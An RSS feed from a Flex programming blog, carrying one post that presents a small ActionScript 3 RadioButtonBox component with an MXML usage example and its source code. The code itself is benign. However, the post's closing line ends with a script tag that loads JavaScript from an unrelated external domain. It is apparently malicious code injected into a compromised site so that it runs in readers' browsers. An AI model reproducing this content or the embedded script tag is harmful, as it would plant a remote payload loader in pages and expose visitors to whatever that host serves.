<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>myFlexibleLife &#187; RadioButtonGroup</title>
	<atom:link href="http://www.myflexiblelife.com/tags/radiobuttongroup/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.myflexiblelife.com</link>
	<description>A blog on Flex, ActionScript, RIAs and related open source technologies</description>
	<lastBuildDate>Thu, 27 Aug 2009 12:06:12 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.4</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Simplify radio button usage with a RadioButtonBox component</title>
		<link>http://www.myflexiblelife.com/2009/07/16/simplify-radio-button-usage-with-a-radiobuttonbox-component/</link>
		<comments>http://www.myflexiblelife.com/2009/07/16/simplify-radio-button-usage-with-a-radiobuttonbox-component/#comments</comments>
		<pubDate>Thu, 16 Jul 2009 09:56:32 +0000</pubDate>
		<dc:creator>Alessandro Ronchi</dc:creator>
				<category><![CDATA[Flex framework]]></category>
		<category><![CDATA[RadioButton]]></category>
		<category><![CDATA[RadioButtonBox]]></category>
		<category><![CDATA[RadioButtonGroup]]></category>

		<guid isPermaLink="false">http://www.myflexiblelife.com/?p=91</guid>
		<description><![CDATA[This post is about the tiny implementation of a RadioButtonBox component which simplifies the usage of radio buttons in Flex applications.
You can insert the RadioButtonBox component wherever you want in your application, add radio buttons within it and read the value property of the RadioButtonBox to know which value is selected.
Here follows an MXML usage [...]]]></description>
			<content:encoded><![CDATA[<p>This post is about the <strong>tiny implementation</strong> of a <strong>RadioButtonBox</strong> component which <strong>simplifies</strong> the usage of <strong>radio buttons</strong> in Flex applications.</p>
<p>You can insert the RadioButtonBox component wherever you want in your application, add radio buttons within it and read the <strong>value</strong> property of the RadioButtonBox to know which value is selected.</p>
<p>Here follows an MXML usage example:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
</pre></td><td class="code"><pre class="mxml" style="font-family:monospace;"><span style="color: #000000;">&lt;?xml version=<span style="color: #ff0000;">&quot;1.0&quot;</span> encoding=<span style="color: #ff0000;">&quot;utf-8&quot;</span>?<span style="color: #7400FF;">&gt;</span></span>
<span style="color: #000000;"><span style="color: #7400FF;">&lt;mx:Application</span> </span>
<span style="color: #000000;">    xmlns:mx=<span style="color: #ff0000;">&quot;http://www.adobe.com/2006/mxml&quot;</span></span>
<span style="color: #000000;">    xmlns:wg=<span style="color: #ff0000;">&quot;com.webgriffe.components.*&quot;</span><span style="color: #7400FF;">&gt;</span></span>
&nbsp;
  <span style="color: #339933;">&lt;mx:Script&gt;</span>
<span style="color: #339933;">  &lt;![CDATA[</span>
<span style="color: #339933;">    import mx.controls.Alert;</span>
<span style="color: #339933;">  ]]&gt;</span>
<span style="color: #339933;">  &lt;/mx:Script&gt;</span>
&nbsp;
  <span style="color: #000000;"><span style="color: #7400FF;">&lt;wg:RadioButtonBox</span> id=<span style="color: #ff0000;">&quot;group&quot;</span> direction=<span style="color: #ff0000;">&quot;horizontal&quot;</span><span style="color: #7400FF;">&gt;</span></span>
    <span style="color: #000000;"><span style="color: #7400FF;">&lt;mx:RadioButton</span> label=<span style="color: #ff0000;">&quot;uno&quot;</span> <span style="color: #7400FF;">/&gt;</span></span>
    <span style="color: #000000;"><span style="color: #7400FF;">&lt;mx:RadioButton</span> label=<span style="color: #ff0000;">&quot;due&quot;</span> <span style="color: #7400FF;">/&gt;</span></span>
    <span style="color: #000000;"><span style="color: #7400FF;">&lt;mx:RadioButton</span> label=<span style="color: #ff0000;">&quot;tre&quot;</span> <span style="color: #7400FF;">/&gt;</span></span>
  <span style="color: #000000;"><span style="color: #7400FF;">&lt;/wg:RadioButtonBox</span><span style="color: #7400FF;">&gt;</span></span>
&nbsp;
  <span style="color: #000000;"><span style="color: #7400FF;">&lt;mx:Button</span> label=<span style="color: #ff0000;">&quot;test&quot;</span> </span>
<span style="color: #000000;">      click=<span style="color: #ff0000;">&quot;Alert.show('Selected value: ' + group.value)&quot;</span> <span style="color: #7400FF;">/&gt;</span></span>
&nbsp;
<span style="color: #000000;"><span style="color: #7400FF;">&lt;/mx:Application</span><span style="color: #7400FF;">&gt;</span></span></pre></td></tr></table></div>

<p>The source code of the RadioButtonBox is the following:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
</pre></td><td class="code"><pre class="actionscript3" style="font-family:monospace;"><span style="color: #9900cc; font-weight: bold;">package</span> com.webgriffe.components
<span style="color: #000000;">&#123;</span>
<span style="color: #0033ff; font-weight: bold;">import</span> <span style="color: #004993;">flash.display</span>.<span style="color: #004993;">DisplayObject</span>;
&nbsp;
<span style="color: #0033ff; font-weight: bold;">import</span> mx.containers.Box;
<span style="color: #0033ff; font-weight: bold;">import</span> mx.controls.RadioButton;
<span style="color: #0033ff; font-weight: bold;">import</span> mx.controls.RadioButtonGroup;
&nbsp;
<span style="color: #0033ff; font-weight: bold;">public</span> <span style="color: #9900cc; font-weight: bold;">class</span> RadioButtonBox extends Box
<span style="color: #000000;">&#123;</span>
  <span style="color: #009900;">// -------------------------------------------------------------------------</span>
  <span style="color: #009900;">//</span>
  <span style="color: #009900;">// Properties </span>
  <span style="color: #009900;">//      </span>
  <span style="color: #009900;">// -------------------------------------------------------------------------</span>
&nbsp;
  <span style="color: #0033ff; font-weight: bold;">private</span> <span style="color: #6699cc; font-weight: bold;">var</span> _group<span style="color: #000000; font-weight: bold;">:</span>RadioButtonGroup;
&nbsp;
  <span style="color: #0033ff; font-weight: bold;">public</span> <span style="color: #339966; font-weight: bold;">function</span> <span style="color: #0033ff; font-weight: bold;">get</span> <span style="color: #004993;">value</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">Object</span>
  <span style="color: #000000;">&#123;</span>
    <span style="color: #0033ff; font-weight: bold;">return</span> _group.selectedValue;
  <span style="color: #000000;">&#125;</span>
&nbsp;
  <span style="color: #009900;">// -------------------------------------------------------------------------</span>
  <span style="color: #009900;">//</span>
  <span style="color: #009900;">// Constructor </span>
  <span style="color: #009900;">//      </span>
  <span style="color: #009900;">// -------------------------------------------------------------------------</span>
&nbsp;
  <span style="color: #0033ff; font-weight: bold;">public</span> <span style="color: #339966; font-weight: bold;">function</span> RadioButtonBox<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span>
  <span style="color: #000000;">&#123;</span>
    <span style="color: #0033ff; font-weight: bold;">super</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span>;
&nbsp;
    _group = <span style="color: #0033ff; font-weight: bold;">new</span> RadioButtonGroup<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span>;
  <span style="color: #000000;">&#125;</span>
&nbsp;
  <span style="color: #009900;">// -------------------------------------------------------------------------</span>
  <span style="color: #009900;">//</span>
  <span style="color: #009900;">// Overridden Methods </span>
  <span style="color: #009900;">//      </span>
  <span style="color: #009900;">// -------------------------------------------------------------------------</span>
&nbsp;
  override <span style="color: #0033ff; font-weight: bold;">public</span> <span style="color: #339966; font-weight: bold;">function</span> <span style="color: #004993;">addChild</span><span style="color: #000000;">&#40;</span><span style="color: #004993;">child</span><span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">DisplayObject</span><span style="color: #000000;">&#41;</span><span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">DisplayObject</span>
  <span style="color: #000000;">&#123;</span>
    <span style="color: #0033ff; font-weight: bold;">if</span> <span style="color: #000000;">&#40;</span><span style="color: #004993;">child</span> <span style="color: #0033ff; font-weight: bold;">is</span> RadioButton<span style="color: #000000;">&#41;</span>
    <span style="color: #000000;">&#123;</span>
      RadioButton<span style="color: #000000;">&#40;</span><span style="color: #004993;">child</span><span style="color: #000000;">&#41;</span>.group = _group;
    <span style="color: #000000;">&#125;</span>
&nbsp;
    <span style="color: #0033ff; font-weight: bold;">return</span> <span style="color: #0033ff; font-weight: bold;">super</span>.<span style="color: #004993;">addChild</span><span style="color: #000000;">&#40;</span><span style="color: #004993;">child</span><span style="color: #000000;">&#41;</span>;
  <span style="color: #000000;">&#125;</span>
&nbsp;
<span style="color: #000000;">&#125;</span>
<span style="color: #000000;">&#125;</span></pre></td></tr></table></div>

<p>Enjoy! <script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.myflexiblelife.com/2009/07/16/simplify-radio-button-usage-with-a-radiobuttonbox-component/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
